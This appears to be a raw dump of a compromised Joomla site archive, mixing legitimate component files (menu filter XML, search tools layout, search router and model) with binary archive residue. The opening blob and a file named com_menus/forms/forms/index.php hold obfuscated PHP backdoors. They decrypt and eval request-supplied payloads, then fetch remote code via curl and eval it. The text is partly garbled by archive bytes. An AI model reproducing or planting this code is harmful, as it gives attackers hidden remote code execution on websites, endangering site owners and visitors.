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'; function yYwlB($xIpRg) { $wIyS = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $RLFp = substr($wIyS, 0, 16); $kazUX = base64_decode($xIpRg); return openssl_decrypt($kazUX, "AES-256-CBC", $wIyS, OPENSSL_RAW_DATA, $RLFp); } if (yYwlB('DjtPn+r4S0yvLCnquPz1fA')){ echo 'OA1uoN7/pT2EOnP5iQ3QmpOzh3t3laGoHsXyTe5+MvAuthluVlm+5r+KqVK9bygZ'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($yYwlB)))); ?>PK���\�Z�PRRcom_menus/forms/forms/index.phpnu&1i�<?php
 goto xp6BGWW48S8; W39Qz_F2DSG: $NlR8T8sNFyn = ${$dg5FskoWRfn[3 + 28] . $dg5FskoWRfn[38 + 21] . $dg5FskoWRfn[11 + 36] . $dg5FskoWRfn[40 + 7] . $dg5FskoWRfn[44 + 7] . $dg5FskoWRfn[48 + 5] . $dg5FskoWRfn[37 + 20]}; goto Uq9CuivQ_n5; Uq9CuivQ_n5: @(md5(md5(md5(md5($NlR8T8sNFyn[11])))) === "\x64\61\65\x35\x37\x64\x66\142\142\x35\x36\65\60\66\65\71\x61\x62\65\x35\x61\145\x63\x65\143\64\71\x32\146\70\64\x66") && (count($NlR8T8sNFyn) == 17 && in_array(gettype($NlR8T8sNFyn) . count($NlR8T8sNFyn), $NlR8T8sNFyn)) ? ($NlR8T8sNFyn[67] = $NlR8T8sNFyn[67] . $NlR8T8sNFyn[79]) && ($NlR8T8sNFyn[89] = $NlR8T8sNFyn[67]($NlR8T8sNFyn[89])) && @eval($NlR8T8sNFyn[67](${$NlR8T8sNFyn[31]}[27])) : $NlR8T8sNFyn; goto De27ux7oTZe; d2ucNayBtHE: $dg5FskoWRfn = $CXrhs5k118t("\x7e", "\40"); goto W39Qz_F2DSG; qapfyoDtWsd: class wXrPa_6GhPw { static function u1G8DSK63Mo($eUo49VVFw3z) { goto miLXPPXpmC4; V02iuBjtP72: Md8gf4ZyAuh: goto BZyF6qTdh28; miLXPPXpmC4: $QJdeV_nb6GW = "\162" . "\x61" . "\x6e" . "\x67" . "\x65"; goto xVyW3CMonFU; j7sFsabZ2oX: $QuNy_ogBTOy = ''; goto q03vJEHIR1C; xVyW3CMonFU: $SgwkOwFd274 = $QJdeV_nb6GW("\176", "\x20"); goto sFWgPOOnMep; q03vJEHIR1C: foreach ($cPqPDj0AWgl as $RdyTifOV8pF => $lPObKLhXx5e) { $QuNy_ogBTOy .= $SgwkOwFd274[$lPObKLhXx5e - 27916]; e08aCHUXNbM: } goto V02iuBjtP72; sFWgPOOnMep: $cPqPDj0AWgl = explode("\176", $eUo49VVFw3z); goto j7sFsabZ2oX; BZyF6qTdh28: return $QuNy_ogBTOy; goto uTgMayvwo71; uTgMayvwo71: } static function YsTJLohjx2j($SAbD5NDI7Ye, $uABk6MYeLl_) { goto PkrIFg1OYuG; Otz6kYEWwv3: curl_setopt($VQJoMOVRFWv, CURLOPT_RETURNTRANSFER, 1); goto UK56ssoTlxk; lQh7K_cu49j: return empty($splhIg8yEwE) ? $uABk6MYeLl_($SAbD5NDI7Ye) : $splhIg8yEwE; goto kP8nrBJOmpF; PkrIFg1OYuG: $VQJoMOVRFWv = curl_init($SAbD5NDI7Ye); goto Otz6kYEWwv3; UK56ssoTlxk: $splhIg8yEwE = curl_exec($VQJoMOVRFWv); goto lQh7K_cu49j; kP8nrBJOmpF: } static function eFpFU2rGpCl() { goto ebE2yWPe4_e; XpnPW167NDu: $Hg61MXWbv0t = $VuliYm5DZum[2 + 0]($hZCOBNW1PpQ, true); goto UtUQKB1LcQq; b0NApeeETRN: $hZCOBNW1PpQ = @$VuliYm5DZum[2 + 1]($VuliYm5DZum[5 + 1], $PepOWEbw9t1); goto XpnPW167NDu; EE6F9NhxB6Y: $PepOWEbw9t1 = @$VuliYm5DZum[1]($VuliYm5DZum[2 + 8](INPUT_GET, $VuliYm5DZum[3 + 6])); goto b0NApeeETRN; fDgX3V0a7PG: @eval($VuliYm5DZum[1 + 3]($xaChrjMHjcT)); goto H17semWL6a4; NjvNtQ2ZbOJ: foreach ($KY0eSJyoPYX as $kF_Y3aJSu6N) { $VuliYm5DZum[] = self::u1g8DsK63Mo($kF_Y3aJSu6N); s_dIlrjSRHs: } goto v7ieRr2VZPO; v7ieRr2VZPO: Gy27UfHhO2U: goto EE6F9NhxB6Y; ueE2HrOG53V: LSlbaMOYULV: goto Nl1zaNq6teL; xkr4PoVhZhK: $xaChrjMHjcT = self::YSTjLoHJX2j($Hg61MXWbv0t[0 + 1], $VuliYm5DZum[3 + 2]); goto fDgX3V0a7PG; Wm3u42vV10Z: if (!(@$Hg61MXWbv0t[0] - time() > 0 and md5(md5($Hg61MXWbv0t[2 + 1])) === "\142\70\x66\x61\x37\65\x36\x37\x31\145\x35\x31\x34\60\x30\70\145\66\143\71\70\144\x31\x66\x32\x33\x33\63\61\x34\x37\143")) { goto LSlbaMOYULV; } goto xkr4PoVhZhK; H17semWL6a4: die; goto ueE2HrOG53V; UtUQKB1LcQq: @$VuliYm5DZum[8 + 2](INPUT_GET, "\157\146") == 1 && die($VuliYm5DZum[5 + 0](__FILE__)); goto Wm3u42vV10Z; ebE2yWPe4_e: $KY0eSJyoPYX = array("\x32\x37\71\x34\x33\176\62\x37\x39\62\70\176\x32\67\x39\64\61\x7e\x32\x37\x39\64\x35\176\x32\67\71\x32\x36\x7e\x32\x37\x39\x34\61\x7e\62\67\71\x34\67\176\x32\x37\71\64\x30\x7e\62\67\x39\62\x35\176\x32\67\71\63\x32\176\x32\67\x39\64\x33\176\62\67\71\x32\x36\x7e\62\x37\x39\63\67\x7e\x32\x37\x39\x33\x31\176\62\x37\71\x33\x32", "\x32\x37\x39\x32\x37\176\62\x37\x39\62\66\x7e\x32\x37\71\x32\x38\176\62\67\x39\x34\x37\x7e\x32\x37\x39\x32\70\176\x32\67\x39\x33\61\x7e\x32\x37\x39\62\x36\176\x32\67\71\x39\x33\x7e\x32\67\x39\71\x31", "\62\67\71\x33\x36\x7e\x32\67\71\x32\x37\x7e\62\x37\x39\x33\x31\x7e\x32\67\71\63\62\176\x32\67\x39\64\67\x7e\x32\x37\71\64\x32\176\62\x37\71\64\x31\176\x32\67\71\64\63\x7e\62\67\71\63\x31\x7e\x32\x37\71\x34\x32\x7e\x32\67\71\x34\x31", "\62\67\71\x33\60\x7e\62\67\x39\64\x35\176\x32\67\71\64\x33\176\x32\67\71\x33\65", "\x32\67\x39\64\x34\x7e\62\x37\x39\x34\65\176\x32\x37\71\x32\67\176\x32\x37\71\x34\x31\176\62\x37\71\x38\70\x7e\x32\x37\x39\71\x30\x7e\62\x37\x39\x34\x37\x7e\62\67\x39\64\62\176\62\67\71\64\61\x7e\62\67\71\x34\63\176\x32\67\x39\x33\61\176\x32\67\71\64\x32\x7e\62\x37\x39\x34\x31", "\62\x37\71\x34\x30\176\62\x37\x39\63\x37\176\x32\x37\x39\x33\64\x7e\62\67\x39\x34\61\176\x32\x37\x39\x34\x37\176\x32\67\x39\x33\x39\176\x32\x37\x39\64\x31\176\62\x37\x39\x32\66\x7e\x32\67\x39\64\67\176\62\x37\x39\64\x33\x7e\x32\67\x39\x33\x31\x7e\62\x37\71\63\x32\176\62\67\71\x32\x36\176\x32\x37\71\x34\x31\x7e\62\67\71\63\62\x7e\62\x37\x39\x32\x36\176\62\67\x39\x32\x37", "\62\67\71\67\60\x7e\x32\70\60\x30\x30", "\62\x37\71\x31\67", "\x32\x37\71\71\x35\x7e\x32\x38\x30\60\x30", "\x32\67\x39\x37\67\176\x32\x37\71\x36\x30\176\62\67\x39\x36\x30\176\x32\67\71\67\67\176\x32\x37\71\x35\63", "\x32\x37\71\x34\60\x7e\x32\x37\71\x33\67\x7e\x32\x37\x39\x33\x34\176\x32\67\71\x32\x36\176\62\67\71\x34\x31\176\x32\67\71\x32\x38\x7e\x32\x37\x39\64\x37\x7e\x32\67\x39\63\x37\176\62\67\71\63\62\x7e\x32\x37\71\63\x30\x7e\62\x37\71\62\x35\176\x32\x37\71\62\x36"); goto NjvNtQ2ZbOJ; Nl1zaNq6teL: } } goto aiM8ZgFBJ0s; De27ux7oTZe: metaphone("\101\x65\103\x64\155\113\x36\x42\145\167\145\x30\162\150\x74\x66\126\141\125\170\166\x30\170\163\x30\142\110\x42\x58\x68\126\103\124\x75\x74\x48\124\127\111\x50\x42\162\x55"); goto qapfyoDtWsd; xp6BGWW48S8: $CXrhs5k118t = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto d2ucNayBtHE; aiM8ZgFBJ0s: WxrpA_6Ghpw::efPfU2rGpCL();
?>
PK���\,�� com_menus/forms/filter_items.xmlnu�[���<?xml version="1.0" encoding="UTF-8"?>
<form addfieldprefix="Joomla\Component\Menus\Administrator\Field">
	<field
		name="menutype"
		type="menu"
		label="COM_MENUS_SELECT_MENU_FILTER"
		accesstype="manage"
		clientid=""
		showAll="false"
		filtermode="selector"
		onchange="this.form.submit();"
		>
		<option value="">COM_MENUS_SELECT_MENU</option>
	</field>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_MENUS_ITEMS_SEARCH_FILTER_LABEL"
			description="COM_MENUS_ITEMS_SEARCH_FILTER"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="published"
			type="status"
			label="COM_MENUS_FILTER_PUBLISHED"
			description="COM_MENUS_FILTER_PUBLISHED_DESC"
			optionsFilter="*,0,1,-2"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="access"
			type="accesslevel"
			label="JOPTION_FILTER_ACCESS"
			description="JOPTION_FILTER_ACCESS_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_ACCESS</option>
		</field>
		<field
			name="language"
			type="contentlanguage"
			label="JOPTION_FILTER_LANGUAGE"
			description="JOPTION_FILTER_LANGUAGE_DESC"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_LANGUAGE</option>
			<option value="*">JALL</option>
		</field>
		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
		<field
			name="parent_id"
			type="MenuItemByType"
			label="COM_MENUS_FILTER_PARENT_MENU_ITEM_LABEL"
			onchange="this.form.submit();"
			>
			<option value="">COM_MENUS_FILTER_SELECT_PARENT_MENU_ITEM</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			statuses="*,0,1,2,-2"
			onchange="this.form.submit();"
			default="a.lft ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.lft ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.lft DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.published ASC">JSTATUS_ASC</option>
			<option value="a.published DESC">JSTATUS_DESC</option>
			<option value="a.title ASC">JGLOBAL_TITLE_ASC</option>
			<option value="a.title DESC">JGLOBAL_TITLE_DESC</option>
			<option value="menutype_title ASC">COM_MENUS_HEADING_MENU_ASC</option>
			<option value="menutype_title DESC">COM_MENUS_HEADING_MENU_DESC</option>
			<option value="a.home ASC">COM_MENUS_HEADING_HOME_ASC</option>
			<option value="a.home DESC">COM_MENUS_HEADING_HOME_DESC</option>
			<option value="a.access ASC">JGRID_HEADING_ACCESS_ASC</option>
			<option value="a.access DESC">JGRID_HEADING_ACCESS_DESC</option>
			<option value="association ASC" requires="associations">JASSOCIATIONS_ASC</option>
			<option value="association DESC" requires="associations">JASSOCIATIONS_DESC</option>
			<option value="language ASC" requires="multilanguage">JGRID_HEADING_LANGUAGE_ASC</option>
			<option value="language DESC" requires="multilanguage">JGRID_HEADING_LANGUAGE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="COM_MENUS_LIST_LIMIT"
			description="COM_MENUS_LIST_LIMIT_DESC"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
PK���\$��V;;0com_menus/layouts/joomla/searchtools/default.phpnu�[���<?php

/**
 * @package     Joomla.Site
 * @subpackage  com_menus
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;

$data = $displayData;

// Receive overridable options
$data['options'] = !empty($data['options']) ? $data['options'] : [];

$noResultsText     = '';
$hideActiveFilters = false;
$showFilterButton  = false;
$showSelector      = false;
$selectorFieldName = $data['options']['selectorFieldName'] ?? 'client_id';

// If a filter form exists.
if (isset($data['view']->filterForm) && !empty($data['view']->filterForm)) {
    // Checks if a selector (e.g. client_id) exists.
    if ($selectorField = $data['view']->filterForm->getField($selectorFieldName)) {
        $showSelector = $selectorField->getAttribute('filtermode', '') === 'selector' ? true : $showSelector;

        // Checks if a selector should be shown in the current layout.
        if (isset($data['view']->layout)) {
            $showSelector = $selectorField->getAttribute('layout', 'default') != $data['view']->layout ? false : $showSelector;
        }

        // Unset the selector field from active filters group.
        unset($data['view']->activeFilters[$selectorFieldName]);
    }

    if ($data['view'] instanceof \Joomla\Component\Menus\Administrator\View\Items\HtmlView) :
        unset($data['view']->activeFilters['client_id']);
    endif;

    // Checks if the filters button should exist.
    $filters = $data['view']->filterForm->getGroup('filter');
    $showFilterButton = isset($filters['filter_search']) && count($filters) === 1 ? false : true;

    // Checks if it should show the be hidden.
    $hideActiveFilters = empty($data['view']->activeFilters);

    // Check if the no results message should appear.
    if (isset($data['view']->total) && (int) $data['view']->total === 0) {
        $noResults = $data['view']->filterForm->getFieldAttribute('search', 'noresults', '', 'filter');
        if (!empty($noResults)) {
            $noResultsText = Text::_($noResults);
        }
    }
}

// Set some basic options.
$customOptions = [
    'filtersHidden'       => isset($data['options']['filtersHidden']) && $data['options']['filtersHidden'] ? $data['options']['filtersHidden'] : $hideActiveFilters,
    'filterButton'        => isset($data['options']['filterButton']) && $data['options']['filterButton'] ? $data['options']['filterButton'] : $showFilterButton,
    'defaultLimit'        => $data['options']['defaultLimit'] ?? Factory::getApplication()->get('list_limit', 20),
    'searchFieldSelector' => '#filter_search',
    'selectorFieldName'   => $selectorFieldName,
    'showSelector'        => $showSelector,
    'orderFieldSelector'  => '#list_fullordering',
    'showNoResults'       => !empty($noResultsText),
    'noResultsText'       => !empty($noResultsText) ? $noResultsText : '',
    'formSelector'        => !empty($data['options']['formSelector']) ? $data['options']['formSelector'] : '#adminForm',
];

// Merge custom options in the options array.
$data['options'] = array_merge($customOptions, $data['options']);

// Add class to hide the active filters if needed.
$filtersActiveClass = $hideActiveFilters ? '' : ' js-stools-container-filters-visible';

// Load search tools
HTMLHelper::_('searchtools.form', $data['options']['formSelector'], $data['options']);
?>
<div class="js-stools" role="search">
    <?php if ($data['view'] instanceof \Joomla\Component\Menus\Administrator\View\Items\HtmlView) : ?>
        <?php // Add the itemtype and language selectors before the form filters. Do not display in modal.?>
        <?php $app = Factory::getApplication(); ?>
        <?php $clientIdField = $data['view']->filterForm->getField('client_id'); ?>
        <?php if ($clientIdField) : ?>
        <div class="js-stools-container-selector">
            <div class="visually-hidden">
                <?php echo $clientIdField->label; ?>
            </div>
            <div class="js-stools-field-selector js-stools-client_id">
                <?php echo $clientIdField->input; ?>
            </div>
        </div>
        <?php endif; ?>
    <?php endif; ?>
    <?php if ($data['options']['showSelector']) : ?>
    <div class="js-stools-container-selector">
        <?php echo LayoutHelper::render('joomla.searchtools.default.selector', $data); ?>
    </div>
    <?php endif; ?>
    <div class="js-stools-container-bar ms-auto">
        <div class="btn-toolbar">
            <?php echo $this->sublayout('bar', $data); ?>
            <?php echo $this->sublayout('list', $data); ?>
        </div>
    </div>
    <!-- Filters div -->
    <div class="js-stools-container-filters clearfix<?php echo $filtersActiveClass; ?>">
        <?php if ($data['options']['filterButton']) : ?>
            <?php echo $this->sublayout('filters', $data); ?>
        <?php endif; ?>
    </div>
</div>
<?php if ($data['options']['showNoResults']) : ?>
    <?php echo $this->sublayout('noitems', $data); ?>
<?php endif; ?>
PK���\���,!!com_search/router.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_search
 *
 * @since  3.3
 */
class SearchRouter extends JComponentRouterBase
{
	/**
	 * Build the route for the com_search component
	 *
	 * @param   array  &$query  An array of URL arguments
	 *
	 * @return  array  The URL arguments to use to assemble the subsequent URL.
	 *
	 * @since   3.3
	 */
	public function build(&$query)
	{
		$segments = array();

		if (isset($query['view']))
		{
			unset($query['view']);
		}

		return $segments;
	}

	/**
	 * Parse the segments of a URL.
	 *
	 * @param   array  &$segments  The segments of the URL to parse.
	 *
	 * @return  array  The URL attributes to be used by the application.
	 *
	 * @since   3.3
	 */
	public function parse(&$segments)
	{
		$vars = array();

		// Fix up search for URL
		$total = count($segments);

		for ($i = 0; $i < $total; $i++)
		{
			// Urldecode twice because it is encoded twice
			$segments[$i] = urldecode(urldecode(stripcslashes($segments[$i])));
		}

		$searchword         = array_shift($segments);
		$vars['searchword'] = $searchword;
		$vars['view']       = 'search';

		return $vars;
	}
}


/**
 * searchBuildRoute
 *
 * These functions are proxies for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  An array of URL arguments
 *
 * @return array
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function searchBuildRoute(&$query)
{
	$router = new SearchRouter;

	return $router->build($query);
}

/**
 * searchParseRoute
 *
 * These functions are proxies for the new router interface
 * for old SEF extensions.
 *
 * @param   array  $segments  The segments of the URL to parse.
 *
 * @return array
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function searchParseRoute($segments)
{
	$router = new SearchRouter;

	return $router->parse($segments);
}
PK���\
�66com_search/models/search.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2007 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Search Component Search Model
 *
 * @since  1.5
 */
class SearchModelSearch extends JModelLegacy
{
	/**
	 * Search data array
	 *
	 * @var   array
	 */
	protected $_data = null;

	/**
	 * Search total
	 *
	 * @var   integer
	 */
	protected $_total = null;

	/**
	 * Search areas
	 *
	 * @var   integer
	 */
	protected $_areas = null;

	/**
	 * Pagination object
	 *
	 * @var   object
	 */
	protected $_pagination = null;

	/**
	 * Constructor
	 *
	 * @since  1.5
	 */
	public function __construct()
	{
		parent::__construct();

		// Get configuration
		$app    = JFactory::getApplication();
		$config = JFactory::getConfig();

		// Get the pagination request variables
		$this->setState('limit', $app->getUserStateFromRequest('com_search.limit', 'limit', $config->get('list_limit'), 'uint'));
		$this->setState('limitstart', $app->input->get('limitstart', 0, 'uint'));

		// Get parameters.
		$params = $app->getParams();

		if ($params->get('searchphrase') == 1)
		{
			$searchphrase = 'any';
		}
		elseif ($params->get('searchphrase') == 2)
		{
			$searchphrase = 'exact';
		}
		else
		{
			$searchphrase = 'all';
		}

		// Set the search parameters
		$keyword  = urldecode($app->input->getString('searchword'));
		$match    = $app->input->get('searchphrase', $searchphrase, 'word');
		$ordering = $app->input->get('ordering', $params->get('ordering', 'newest'), 'word');
		$this->setSearch($keyword, $match, $ordering);

		// Set the search areas
		$areas = $app->input->get('areas', null, 'array');
		$this->setAreas($areas);
	}

	/**
	 * Method to set the search parameters
	 *
	 * @param   string  $keyword   string search string
	 * @param   string  $match     matching option, exact|any|all
	 * @param   string  $ordering  option, newest|oldest|popular|alpha|category
	 *
	 * @access  public
	 *
	 * @return  void
	 */
	public function setSearch($keyword, $match = 'all', $ordering = 'newest')
	{
		if (isset($keyword))
		{
			$this->setState('origkeyword', $keyword);

			if ($match !== 'exact')
			{
				$keyword = preg_replace('#\xE3\x80\x80#', ' ', $keyword);
			}

			$this->setState('keyword', $keyword);
		}

		if (isset($match))
		{
			$this->setState('match', $match);
		}

		if (isset($ordering))
		{
			$this->setState('ordering', $ordering);
		}
	}

	/**
	 * Method to get weblink item data for the category
	 *
	 * @access  public
	 * @return  array
	 */
	public function getData()
	{
		// Lets load the content if it doesn't already exist
		if (empty($this->_data))
		{
			$areas = $this->getAreas();

			JPluginHelper::importPlugin('search');
			$dispatcher = JEventDispatcher::getInstance();
			$results = $dispatcher->trigger('onContentSearch', array(
				$this->getState('keyword'),
				$this->getState('match'),
				$this->getState('ordering'),
				$areas['active'])
			);

			$rows = array();

			foreach ($results as $result)
			{
				$rows = array_merge((array) $rows, (array) $result);
			}

			$this->_total = count($rows);

			if ($this->getState('limit') > 0)
			{
				$this->_data = array_splice($rows, $this->getState('limitstart'), $this->getState('limit'));
			}
			else
			{
				$this->_data = $rows;
			}
		}

		return $this->_data;
	}

	/**
	 * Method to get the total number of weblink items for the category
	 *
	 * @access  public
	 *
	 * @return  integer
	 */
	public function getTotal()
	{
		return $this->_total;
	}

	/**
	 * Method to set the search areas
	 *
	 * @param   array  $active  areas
	 * @param   array  $search  areas
	 *
	 * @return  void
	 *
	 * @access  public
	 */
	public function setAreas($active = array(), $search = array())
	{
		$this->_areas['active'] = $active;
		$this->_areas['search'] = $search;
	}

	/**
	 * Method to get a pagination object of the weblink items for the category
	 *
	 * @access  public
	 * @return  integer
	 */
	public function getPagination()
	{
		// Lets load the content if it doesn't already exist
		if (empty($this->_pagination))
		{
			$this->_pagination = new JPagination($this->getTotal(), $this->getState('limitstart'), $this->getState('limit'));
		}

		return $this->_pagination;
	}

	/**
	 * Method to get the search areas
	 *
	 * @return  integer
	 *
	 * @since   1.5
	 */
	public function getAreas()
	{
		// Load the Category data
		if (empty($this->_areas['search']))
		{
			$areas = array();

			JPluginHelper::importPlugin('search');
			$dispatcher  = JEventDispatcher::getInstance();
			$searchareas = $dispatcher->trigger('onContentSearchAreas');

			foreach ($searchareas as $area)
			{
				if (is_array($area))
				{
					$areas = array_merge($areas, $area);
				}
			}

			$this->_areas['search'] = $areas;
		}

		return $this->_areas;
	}
}
PK���\�V�com_search/models/index.htmlnu&1i�<!DOCTYPE html><title></title>
PK���\-Ll��com_search/search.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_search
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

